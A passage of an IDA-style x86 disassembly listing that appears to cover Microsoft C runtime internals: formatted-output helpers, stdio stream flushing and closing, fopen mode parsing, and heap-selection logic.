
loc_41858A:				; CODE XREF: sub_417F58+62Aj
		test	bl, 2
		jz	short loc_41859A
		mov	[ebp+var_16], 20h


loc_418593:				; CODE XREF: sub_417F58+625j
					; sub_417F58+630j
		mov	[ebp+var_1C], 1


loc_41859A:				; CODE XREF: sub_417F58+61Aj
					; sub_417F58+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4185BA
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4186CE
		add	esp, 10h


loc_4185BA:				; CODE XREF: sub_417F58+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4186FF
		add	esp, 10h
		test	bl, 8
		jz	short loc_4185EC
		test	bl, 4
		jnz	short loc_4185EC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4186CE
		add	esp, 10h


loc_4185EC:				; CODE XREF: sub_417F58+67Bj
					; sub_417F58+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418633
		cmp	[ebp+var_C], 0
		jle	short loc_418633
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_418601:				; CODE XREF: sub_417F58+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41DC1B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_418648
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4186FF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_418601
		jmp	short loc_418648
; ---------------------------------------------------------------------------


loc_418633:				; CODE XREF: sub_417F58+698j
					; sub_417F58+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4186FF
		add	esp, 10h


loc_418648:				; CODE XREF: sub_417F58+6BCj
					; sub_417F58+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418660 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4186CE
		add	esp, 10h


loc_418660:				; CODE XREF: sub_417F58+68j
					; sub_417F58+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417F84


loc_418671:				; CODE XREF: sub_417F58+1Fj
					; sub_417F58+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417F58	endp

; ---------------------------------------------------------------------------
off_418679	dd offset loc_4180F7	; DATA XREF: sub_417F58+6Er
		dd offset loc_417FCD	; jump table for switch	statement
		dd offset loc_417FE8
		dd offset loc_418034
		dd offset loc_41806B
		dd offset loc_418073
		dd offset loc_4180A8
		dd offset loc_41813B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_417F58+1BDp
					; sub_417F58+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4186B2
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4186BD
; ---------------------------------------------------------------------------


loc_4186B2:				; CODE XREF: sub_418699+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417E43
		pop	ecx
		pop	ecx


loc_4186BD:				; CODE XREF: sub_418699+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4186CA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4186CA:				; CODE XREF: sub_418699+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186CE	proc near		; CODE XREF: sub_417F58+65Ap
					; sub_417F58+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4186FC
		mov	esi, [esp+8+arg_C]


loc_4186DF:				; CODE XREF: sub_4186CE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_418699
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4186FC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4186DF


loc_4186FC:				; CODE XREF: sub_4186CE+Bj
					; sub_4186CE+25j
		pop	edi
		pop	esi
		retn
sub_4186CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186FF	proc near		; CODE XREF: sub_417F58+670p
					; sub_417F58+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418733
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_418715:				; CODE XREF: sub_4186FF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_418699
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418733
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418715


loc_418733:				; CODE XREF: sub_4186FF+Cj
					; sub_4186FF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4186FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418737	proc near		; CODE XREF: sub_417F58+E5p
					; sub_417F58+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_418737	endp


; =============== S U B	R O U T	I N E =======================================



sub_418744	proc near		; CODE XREF: sub_417F58+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418744	endp


; =============== S U B	R O U T	I N E =======================================



sub_418754	proc near		; CODE XREF: sub_417F58+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418754	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418762	proc near		; CODE XREF: sub_415964+17p
					; sub_415964+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418780
		mov	ecx, ds:off_42F360
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4187D2
; ---------------------------------------------------------------------------


loc_418780:				; CODE XREF: sub_418762+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_42F360
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4187A5
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4187AE
; ---------------------------------------------------------------------------


loc_4187A5:				; CODE XREF: sub_418762+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4187AE:				; CODE XREF: sub_418762+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41DC83
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4187CE
		leave
		retn
; ---------------------------------------------------------------------------


loc_4187CE:				; CODE XREF: sub_418762+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4187D2:				; CODE XREF: sub_418762+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D7	proc near		; CODE XREF: sub_415AD0+2Ap
					; sub_41DFE6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_4CA4C0
		jnb	loc_418871
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CA3C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418871
		push	edi
		call	sub_41DF52
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418850
		cmp	edi, 1
		jz	short loc_41881E
		cmp	edi, 2
		jnz	short loc_418834


loc_41881E:				; CODE XREF: sub_4187D7+40j
		push	2
		call	sub_41DF52
		push	1
		mov	ebp, eax
		call	sub_41DF52
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418850


loc_418834:				; CODE XREF: sub_4187D7+45j
		push	edi
		call	sub_41DF52
		pop	ecx
		push	eax
		call	ds:off_422074
		test	eax, eax
		jnz	short loc_418850
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418852
; ---------------------------------------------------------------------------


loc_418850:				; CODE XREF: sub_4187D7+3Bj
					; sub_4187D7+5Bj ...
		xor	ebp, ebp


loc_418852:				; CODE XREF: sub_4187D7+77j
		push	edi
		call	sub_41DED8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41886D
		push	ebp
		call	sub_41D064
		pop	ecx
		jmp	short loc_418882
; ---------------------------------------------------------------------------


loc_41886D:				; CODE XREF: sub_4187D7+8Bj
		xor	eax, eax
		jmp	short loc_418885
; ---------------------------------------------------------------------------


loc_418871:				; CODE XREF: sub_4187D7+Ej
					; sub_4187D7+2Fj
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9


loc_418882:				; CODE XREF: sub_4187D7+94j
		or	eax, 0FFFFFFFFh


loc_418885:				; CODE XREF: sub_4187D7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4187D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41888A	proc near		; CODE XREF: sub_415AD0+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4188B3
		test	al, 8
		jz	short loc_4188B3
		push	dword ptr [esi+8]
		call	sub_415DE1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4188B3:				; CODE XREF: sub_41888A+Aj
					; sub_41888A+Ej
		pop	esi
		retn
sub_41888A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188B5	proc near		; CODE XREF: sub_418955+2Dp
					; sub_418955+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4188C7
		push	esi
		call	sub_418955
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4188C7:				; CODE XREF: sub_4188B5+7j
		push	esi
		call	sub_4188F0
		test	eax, eax
		pop	ecx
		jz	short loc_4188D7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4188D7:				; CODE XREF: sub_4188B5+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4188EC
		push	dword ptr [esi+10h]
		call	sub_41DF8F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4188EC:				; CODE XREF: sub_4188B5+26j
		xor	eax, eax
		pop	esi
		retn
sub_4188B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188F0	proc near		; CODE XREF: sub_415AD0+1Ap
					; sub_416E2E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41893D
		test	ax, 108h
		jz	short loc_41893D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41893D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41CEB7
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_418936
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41893D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41893D
; ---------------------------------------------------------------------------


loc_418936:				; CODE XREF: sub_4188F0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41893D:				; CODE XREF: sub_4188F0+14j
					; sub_4188F0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4188F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41894C	proc near		; CODE XREF: _0:loc_41DC07p
		push	1
		call	sub_418955
		pop	ecx
		retn
sub_41894C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418955	proc near		; CODE XREF: sub_4188B5+Ap
					; sub_41894C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_4CA3A0, esi
		jle	short loc_4189B3


loc_418966:				; CODE XREF: sub_418955+5Cj
		mov	eax, ds:dword_4C9380
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4189AA
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4189AA
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418990
		push	eax
		call	sub_4188B5
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4189AA
		inc	ebx
		jmp	short loc_4189AA
; ---------------------------------------------------------------------------


loc_418990:				; CODE XREF: sub_418955+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4189AA
		test	cl, 2
		jz	short loc_4189AA
		push	eax
		call	sub_4188B5
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4189AA
		or	edi, eax


loc_4189AA:				; CODE XREF: sub_418955+1Bj
					; sub_418955+23j ...
		inc	esi
		cmp	esi, ds:dword_4CA3A0
		jl	short loc_418966


loc_4189B3:				; CODE XREF: sub_418955+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4189BE
		mov	eax, edi


loc_4189BE:				; CODE XREF: sub_418955+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418955	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189C2	proc near		; CODE XREF: sub_415B26+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41DB3C
		test	eax, eax
		pop	ecx
		jz	short loc_418A4B
		cmp	esi, offset dword_431A98
		jnz	short loc_4189E0
		xor	eax, eax
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------


loc_4189E0:				; CODE XREF: sub_4189C2+18j
		cmp	esi, offset dword_431AB8
		jnz	short loc_418A4B
		push	1
		pop	eax


loc_4189EB:				; CODE XREF: sub_4189C2+1Cj
		inc	ds:dword_4C9248
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_418A4B
		cmp	ds:dword_4C90DC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4C90DCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418A31
		push	ebx
		call	sub_415D2F
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418A31
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418A3E
; ---------------------------------------------------------------------------


loc_418A31:				; CODE XREF: sub_4189C2+4Dj
					; sub_4189C2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418A3E:				; CODE XREF: sub_4189C2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418A4B:				; CODE XREF: sub_4189C2+10j
					; sub_4189C2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4189C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A4F	proc near		; CODE XREF: sub_415B26+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_418A79
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_418A8A
		push	esi
		call	sub_4188F0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418A79:				; CODE XREF: sub_418A4F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_418A8A
		push	eax
		call	sub_4188F0
		pop	ecx


loc_418A8A:				; CODE XREF: sub_418A4F+10j
					; sub_418A4F+32j
		pop	esi
		retn
sub_418A4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A8C	proc near		; CODE XREF: sub_415B58+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_4C9250
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_418AC5
		cmp	al, 72h
		jz	short loc_418ABE
		cmp	al, 77h
		jnz	loc_418BD9
		mov	ecx, 301h
		jmp	short loc_418ACA
; ---------------------------------------------------------------------------


loc_418ABE:				; CODE XREF: sub_418A8C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_418ACD
; ---------------------------------------------------------------------------


loc_418AC5:				; CODE XREF: sub_418A8C+1Dj
		mov	ecx, 109h


loc_418ACA:				; CODE XREF: sub_418A8C+30j
		or	esi, 2


loc_418ACD:				; CODE XREF: sub_418A8C+37j
		push	1
		pop	edx


loc_418AD0:				; CODE XREF: sub_418A8C+8Bj
					; sub_418A8C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_418BBF
		cmp	edx, ebx
		jz	loc_418BBF
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418B5E
		jz	short loc_418B4E
		sub	eax, 2Bh
		jz	short loc_418B38
		sub	eax, 19h
		jz	short loc_418B2E
		sub	eax, 0Eh
		jz	short loc_418B19
		dec	eax
		jnz	loc_418BB0
		cmp	[ebp+var_4], ebx
		jnz	loc_418BB0
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_418AD0
; ---------------------------------------------------------------------------


loc_418B19:				; CODE XREF: sub_418A8C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_418BB0
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_418AD0
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A8C+6Aj
		test	cl, 40h
		jnz	short loc_418BB0
		or	ecx, 40h
		jmp	short loc_418AD0
; ---------------------------------------------------------------------------


loc_418B38:				; CODE XREF: sub_418A8C+65j
		test	cl, 2
		jnz	short loc_418BB0
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_418AD0
; ---------------------------------------------------------------------------


loc_418B4E:				; CODE XREF: sub_418A8C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_418BB0
		or	ecx, eax
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A8C+5Ej
		sub	eax, 62h
		jz	short loc_418BAB
		dec	eax
		jz	short loc_418B94
		sub	eax, 0Bh
		jz	short loc_418B7D
		sub	eax, 6
		jnz	short loc_418BB0
		test	ch, 0C0h
		jnz	short loc_418BB0
		or	ch, 40h
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418B7D:				; CODE XREF: sub_418A8C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_418BB0
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418B94:				; CODE XREF: sub_418A8C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_418BB0
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418BAB:				; CODE XREF: sub_418A8C+D5j
		test	ch, 0C0h
		jz	short loc_418BB7


loc_418BB0:				; CODE XREF: sub_418A8C+72j
					; sub_418A8C+7Bj ...
		xor	edx, edx
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418BB7:				; CODE XREF: sub_418A8C+122j
		or	ch, 80h
		jmp	loc_418AD0
; ---------------------------------------------------------------------------


loc_418BBF:				; CODE XREF: sub_418A8C+4Aj
					; sub_418A8C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41DFE6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_418BDD


loc_418BD9:				; CODE XREF: sub_418A8C+25j
		xor	eax, eax
		jmp	short loc_418BF7
; ---------------------------------------------------------------------------


loc_418BDD:				; CODE XREF: sub_418A8C+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_4C9248
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_418BF7:				; CODE XREF: sub_418A8C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418A8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418BFC	proc near		; CODE XREF: sub_415B58p
		mov	edx, ds:dword_4CA3A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418C6D
		mov	ebx, ds:dword_4C9380
		mov	edi, ebx


loc_418C18:				; CODE XREF: sub_418BFC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418C33
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418C2E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418C18
		jmp	short loc_418C6D
; ---------------------------------------------------------------------------


loc_418C2E:				; CODE XREF: sub_418BFC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418C57
; ---------------------------------------------------------------------------


loc_418C33:				; CODE XREF: sub_418BFC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415D2F
		pop	ecx
		mov	ecx, ds:dword_4C9380
		mov	[edi+ecx], eax
		mov	eax, ds:dword_4C9380
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418C6D
		mov	esi, edi


loc_418C57:				; CODE XREF: sub_418BFC+35j
		cmp	esi, ebp
		jz	short loc_418C6D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418C6D:				; CODE XREF: sub_418BFC+12j
					; sub_418BFC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_418BFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C74	proc near		; CODE XREF: sub_415D41+1Fp
					; sub_41756F+126p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4C90E8
		test	eax, eax
		jz	short loc_418C8C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418C8C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418C8C:				; CODE XREF: sub_418C74+7j
					; sub_418C74+12j
		xor	eax, eax
		retn
sub_418C74	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C8F	proc near		; CODE XREF: sub_418CBC+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	ds:off_4220E0
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_418CBA
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_418CBA
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_418CBA:				; CODE XREF: sub_418C8F+15j
					; sub_418C8F+1Cj
		pop	esi
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CBC	proc near		; CODE XREF: sub_418E04+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_415D00
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	ds:dword_422124	; GetVersionExA
		test	eax, eax
		jz	short loc_418CFF
		cmp	[ebp+var_88], 2
		jnz	short loc_418CFF
		cmp	[ebp+var_94], 5
		jb	short loc_418CFF
		push	1
		pop	eax
		jmp	loc_418E01
; ---------------------------------------------------------------------------


loc_418CFF:				; CODE XREF: sub_418CBC+27j
					; sub_418CBC+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_42218C	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_418DEE
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_418D41


loc_418D2E:				; CODE XREF: sub_418CBC+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418D3C
		cmp	al, 7Ah
		jg	short loc_418D3C
		sub	al, 20h
		mov	[ecx], al


loc_418D3C:				; CODE XREF: sub_418CBC+76j
					; sub_418CBC+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418D2E


loc_418D41:				; CODE XREF: sub_418CBC+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_416EC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418D63
		lea	eax, [ebp+var_122C]
		jmp	short loc_418DAC
; ---------------------------------------------------------------------------


loc_418D63:				; CODE XREF: sub_418CBC+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	ds:off_422060
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_418D97


loc_418D84:				; CODE XREF: sub_418CBC+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418D92
		cmp	al, 7Ah
		jg	short loc_418D92
		sub	al, 20h
		mov	[ecx], al


loc_418D92:				; CODE XREF: sub_418CBC+CCj
					; sub_418CBC+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418D84


loc_418D97:				; CODE XREF: sub_418CBC+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_415A50
		pop	ecx
		pop	ecx


loc_418DAC:				; CODE XREF: sub_418CBC+A5j
		cmp	eax, ebx
		jz	short loc_418DEE
		push	2Ch
		push	eax
		call	sub_417070
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418DEE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_418DD3


loc_418DC5:				; CODE XREF: sub_418CBC+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_418DCE
		mov	[ecx], bl
		jmp	short loc_418DCF
; ---------------------------------------------------------------------------


loc_418DCE:				; CODE XREF: sub_418CBC+10Cj
		inc	ecx


loc_418DCF:				; CODE XREF: sub_418CBC+110j
		cmp	[ecx], bl
		jnz	short loc_418DC5


loc_418DD3:				; CODE XREF: sub_418CBC+107j
